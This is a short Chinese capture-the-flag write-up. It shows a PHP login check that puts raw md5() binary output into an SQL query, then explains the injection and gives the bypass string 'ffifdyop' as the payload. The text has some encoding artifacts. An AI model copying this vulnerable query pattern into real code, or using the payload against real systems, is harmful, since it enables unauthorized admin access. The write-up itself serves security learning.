0x01 題目
<?php
error_reporting(0);
$link = mysql_connect('localhost', 'root', '');
if (!$link) {
die('Could not connect to MySQL: ' . mysql_error());
}
// 選擇數(shù)據(jù)庫
$db = mysql_select_db("test", $link);
if(!$db)
{
echo 'select db error';
exit();
}
// 執(zhí)行sql
$password = $_GET['pwd'];
$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
?>
0x02 解題
這道題用了一個小trick,注意這里password是沒有任何過濾的,并且是直接帶入了查詢中,所以很可能存在sql注入了。這里需要注意的是md5()這個函數(shù),php手冊的說明是這樣的:

就是說第二個參數(shù)是true的時候,會把生成的MD5值當作hex值來轉(zhuǎn)換成字符串,因此,我們可以生成一種含有'or'的hex值,這樣就可以用來注入了。
字符串ffifdyop就是一個符合的字符串,本地測試返回的是符合條件的

因此可以注入,payload
?pwd=ffifdyop
(感覺這個只有注入,利用應該沒有吧(╯▽╰ ))